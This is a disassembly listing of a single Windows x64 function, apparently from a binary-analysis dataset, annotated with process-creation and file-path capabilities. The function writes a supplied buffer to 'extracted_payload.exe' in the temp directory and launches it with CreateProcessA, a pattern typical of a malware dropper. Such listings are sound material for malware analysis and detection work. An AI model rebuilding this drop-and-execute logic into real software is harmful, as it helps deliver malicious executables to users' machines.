Function at 0x140007ab0
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov rax, qword [0x1400a9080]
xor rax, rsp
mov qword [rbp + 0x270], rax
mov rdi, rcx
xor esi, esi
lea rdx, [rbp + 0x160]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x140007e68
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x148], xmm1
lea rax, [rbp + 0x160]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x140007b22
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x138]
call fcn.140004930
nop
mov rcx, qword [rbp + 0x148]
mov rdx, qword [rbp + 0x150]
mov rax, rdx
sub rax, rcx
cmp rax, 0x15
jb 0x140007b9c
lea rax, [rcx + 0x15]
mov qword [rbp + 0x148], rax
lea rbx, [rbp + 0x138]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x138]
add rbx, rcx
mov r8d, 0x15
lea rdx, str.extracted_payload.exe
mov rcx, rbx
call fcn.14002b8e0
mov byte [rbx + 0x15], 0
lea rax, [rbp + 0x138]
jmp 0x140007bc0
mov qword [rsp + 0x20], 0x15
lea r9, str.extracted_payload.exe
xor r8d, r8d
mov edx, 0x15
lea rcx, [rbp + 0x138]
call fcn.140005800
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x130], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x150]
cmp rdx, 0xf
jbe 0x140007c3d
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007c38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007e95
call fcn.14000d08c
movdqa xmm0, xmmword [0x140097780]
movdqu xmmword [rbp + 0x148], xmm0
mov byte [rbp + 0x138], 0
lea rdx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0xf
cmova rdx, qword [rbp + 0x118]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rcx, [rbp - 0x20]
call fcn.1400060b0
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x10], 6
jne 0x140007e9b
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
sub r8, rdx
lea rcx, [rbp - 0x20]
call fcn.14000b690
lea rcx, [rbp - 0x18]
call fcn.1400096c0
test rax, rax
jne 0x140007d14
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0x28], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x10]
and eax, 0x17
mov dword [rbp + rcx - 0x10], eax
mov edx, dword [rbp + rcx - 0xc]
and edx, eax
jne 0x140007ed7
lea rdx, str.Spou
lea rcx, [0x1400aa5e0]
call fcn.140004610
lea rdx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0xf
cmova rdx, qword [rbp + 0x118]
mov r8, qword [rbp + 0x128]
mov rcx, rax
call fcn.140005320
mov rcx, rax
call fcn.140005ce0
mov dword [rsp + 0x70], 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
lea rcx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0xf
cmova rcx, qword [rbp + 0x118]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140007f31
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x20]
call fcn.140007610
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x140007e3a
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007e62
call fcn.14000d08c
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.14000d440
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140012cfc
int3
lea rdx, [0x140097560]
lea rcx, [0x1400aa700]
call fcn.140004610
mov rcx, rax
lea rdx, [fcn.140005ce0]
call fcn.140007600
mov ecx, 1
call fcn.1400135b8
nop
call fcn.140012cfc
nop
lea rdx, [0x1400975a0]
lea rcx, [0x1400aa700]
call fcn.140004610
mov rcx, rax
lea rdx, [rbp + 0x118]
call fcn.1400045f0
mov rcx, rax
lea rdx, [fcn.140005ce0]
call fcn.140007600
mov ecx, 1
call fcn.1400135b8
int3
test dl, 4
je 0x140007ee5
lea rbx, str.ios_base::badbit_set
jmp 0x140007efa
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x138]
call fcn.14000ab30
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0xf0]
call fcn.140006d20
lea rdx, [0x1400a7790]
lea rcx, [rbp + 0xf0]
call fcn.14000e290
int3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Chyba_p
lea rcx, [0x1400aa700]
call fcn.140004610
mov rcx, rax
mov edx, ebx
call fcn.140007300
mov rcx, rax
lea rdx, [fcn.140005ce0]
call fcn.140007600
mov ecx, 1
call fcn.1400135b8
int3